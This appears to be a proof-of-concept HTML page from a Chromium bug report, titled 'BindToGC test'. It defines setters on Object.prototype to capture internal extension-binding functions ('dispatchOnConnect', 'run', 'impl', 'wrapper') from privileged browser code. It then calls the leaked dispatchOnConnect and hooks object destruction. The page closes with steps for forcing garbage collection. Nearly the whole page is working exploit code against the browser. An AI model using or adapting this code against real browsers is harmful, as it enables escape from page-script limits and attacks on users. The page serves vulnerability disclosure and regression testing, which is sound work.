<!doctype html>
<title>BindToGC test</title>
<script>
var weakmap = new WeakMap();

var obj = {};

chrome.extension = {
  onRequest: {
    dispatch: function(x, y, z) { weakmap.set(obj, z); },
    hasListeners: function() { return true; }
  }
};

var leaked = Object.create(null);

["dispatchOnConnect", "run", "impl", "wrapper"].forEach(function(name) {
  Object.defineProperty(Object.prototype, name, {
    configurable: true,
    enumerable: false,
    set: function(func) {
      leaked[name] = func;
      if(name === "wrapper" && func.constructor.name === "Port") {
        Object.defineProperty(func, "onMessage", {
          value: {
            addListener: function(listener) { listener(); }
          }
        });
      }

      if(name === "wrapper" && this.constructor && this.constructor.name === "PortImpl") {
        this.destroy_ = function() { document.title = "obj GC'd"; };
      } else if(name !== "wrapper") {
        delete Object.prototype[name];
      }

      Object.defineProperty(this, name, {
        writable: true,
        configurable: true,
        enumerable: true,
        value: func
      });
    }
  });
});

chrome.webstore.onDownloadProgress;
/*
leaked.run("", "", "", function() {
  chrome.runtime.lastError;
}, []);
*/
leaked.dispatchOnConnect(0, "chrome.extension.sendRequest", "", "", undefined, "", "", "", "");
</script>

Click the "obj = null" button and e.g. switch tabs to trigger a GC. The document title will change. If this does not work, click "alloc" one or more times to allocate a large Uint8Array until `obj` gets GC'd. If that also doesn't work, trigger a GC in DevTools Timeline tab.
<br>
<button onclick="obj=null;">obj = null</button>
<button onclick="x=new Uint8Array(1e8); x=null;">alloc</button>
